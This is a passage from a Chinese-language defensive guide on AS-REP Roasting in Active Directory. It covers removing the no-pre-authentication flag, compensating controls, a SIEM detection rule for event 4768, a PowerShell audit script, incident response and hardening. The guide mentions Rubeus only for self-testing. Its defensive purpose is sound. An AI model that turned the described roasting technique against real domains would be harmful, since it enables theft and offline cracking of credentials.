Directory用户和计算机ADUC图形界面打开dsa.msc。找到目标用户右键选择“属性”。切换到“账户”选项卡。查看“账户选项”列表取消勾选“不需要 Kerberos 预身份验证”。点击“确定”保存。修复后的影响评估 这是最关键的一步。为什么这个账户当初被设置了此标志通常有两种情况历史遗留/配置错误 没有任何理由纯粹是创建账户时的错误或从旧系统迁移带来的垃圾配置。这种情况直接关闭通常不会有任何影响。兼容性需求 极少数情况下某些非常古老的应用如某些版本的Java应用、旧的Linux系统通过Samba接入可能真的需要此设置才能进行Kerberos认证。操作流程沟通 联系该账户的所有者或使用该账户的应用负责人。测试 在非生产环境或低峰期尝试关闭该标志并测试相关应用或服务是否正常运行。决策如果应用运行正常永久关闭。如果应用认证失败你有两个选择 a.升级/替换应用 这是治本之策建议制定计划淘汰不兼容现代安全标准的老旧系统。 b.风险接受与补偿控制 如果短期内无法升级则必须将此账户视为极高风险账户实施强补偿控制 *设置极强密码 确保密码长度大于25位完全随机并定期更换。 *限制其使用范围 通过组策略GPO严格限制该账户只能从特定的、安全加固过的主机登录。 *加强监控 对该账户的所有登录和Kerberos票据请求事件进行实时告警。5.3 监控与持续审计防御不是一次性的动作需要持续的监控来防止问题复发。启用Kerberos预认证失败日志 虽然成功的AS-REP Roasting攻击不会产生“失败”日志但监控针对所有用户的无预认证AS-REQ请求本身是有价值的。你需要启用域控制器上的“审核Kerberos身份验证服务”策略并收集相关事件ID。不过请注意正常流量中也可能存在此类请求例如某些合法的客户端初始请求因此需要结合其他上下文进行分析。使用SIEM/SOC平台建立检测规则 一个更有效的检测思路是寻找短时间内针对多个用户的、无预认证的AS-REQ请求这很可能是攻击者在进行批量扫描。可以在SIEM中创建如下逻辑的告警规则EventID: 4768 (Kerberos Authentication Ticket Request) AND Pre-Authentication Type: “No Pre-authentication” AND Count by Source IP and User 阈值 (例如1分钟内来自同一IP对10个不同用户的请求)定期自动化审计 编写一个PowerShell脚本定期如每周扫描整个域检查是否有新出现的DONT_REQ_PREAUTH用户并将结果通过邮件发送给安全团队。这能有效防止在账户创建或修改流程中再次引入此配置。# 示例每周扫描脚本 $vulnerableUsers Get-ADUser -Filter {userAccountControl -band 4194304} -Properties userAccountControl, Created, Modified if ($vulnerableUsers) { # 发送告警邮件包含易受攻击用户列表 Send-MailMessage -To security-teamcontoso.com -Subject [安全告警] 发现AS-REP Roasting易攻击用户 -Body ($vulnerableUsers | Out-String) }6. 深入排查与高级防御思考在完成基础修复后我们可以从更深层次思考如何加固域环境使其对类似Kerberos攻击更具韧性。6.1 事件响应如果怀疑已遭攻击假设监控告警或日志分析让你怀疑有AS-REP Roasting攻击发生你应该立即采取以下步骤确认与遏制立即重置密码 为所有被检测到存在可疑请求的用户特别是高权限服务账户强制重置强密码。这是最直接有效的遏制手段即使哈希已被提取新密码也无法被用于解密旧的AS-REP响应。隔离相关账户 如果可能暂时禁用可疑账户直到调查完成。审查账户权限 检查这些账户所属的组、被授予的权限评估攻击者可能获得的访问路径。取证调查分析域控制器安全日志事件ID 4768 筛选出Pre-Authentication Type为0x0无预认证的请求。记录下源IP地址、用户名和时间戳。关联其他日志 将攻击源IP与防火墙、Web代理、终端检测响应EDR日志进行关联尝试定位攻击入口点是哪台主机发起的请求。检查哈希破解迹象 虽然离线破解难以直接检测但如果攻击者使用破解出的密码进行了后续登录例如网络登录、服务登录会产生相应的事件ID如4624、4625、4634。搜索在可疑AS-REQ事件之后来自非常见地点或主机的、这些用户的成功登录事件。6.2 架构性防御建议除了针对性的修复还应考虑提升整体域安全架构实施最严格的密码策略 对于所有用户尤其是服务账户强制使用长20字符、复杂、随机的密码。这能极大提高离线破解的难度和时间成本甚至使其在经济上不可行。考虑使用组托管服务账户gMSA或第三方特权账户管理PAM解决方案来管理服务账户密码实现自动轮换和长密码。淘汰RC4-HMAC加密 RC4算法相对脆弱且破解速度快。在域功能级别允许的情况下在组策略中禁用Kerberos对RC4加密的支持强制使用AES加密。这会使攻击者即使拿到AS-REP哈希也是AES加密的破解难度呈指数级上升。策略路径计算机配置 - 策略 - 安全设置 - 本地策略 - 安全选项 - 网络安全: 配置Kerberos允许的加密类型。取消勾选RC4_HMAC_MD5。启用高级审计策略 启用“审核Kerberos服务票证操作”等高级策略获取更详细的Kerberos活动日志。部署特权访问工作站PAW和跳板机 限制管理员直接从普通工作站登录域控制器或关键服务器。所有特权操作必须通过经过严格安全加固的专用工作站PAW或跳板机进行减少凭据在普通网络环境中暴露的风险。定期进行红队演练/渗透测试 主动使用Rubeus等工具对自己的域环境进行AS-REP Roasting扫描模拟攻击者视角验证防御措施的有效性并持续发现和修复配置缺陷。AS-REP Roasting漏洞的攻防本质上是安全配置管理与攻击者效率之间的对抗。通过自动化工具攻击者可以极低成本地进行全域扫描而防御者则需要通过同样自动化、制度化的安全基线和持续监控将这扇不该打开的门牢牢锁死。将“禁用不需要的Kerberos预认证”作为新账户创建的默认安全策略和定期审计的必查项是杜绝此类问题最根本的方法。
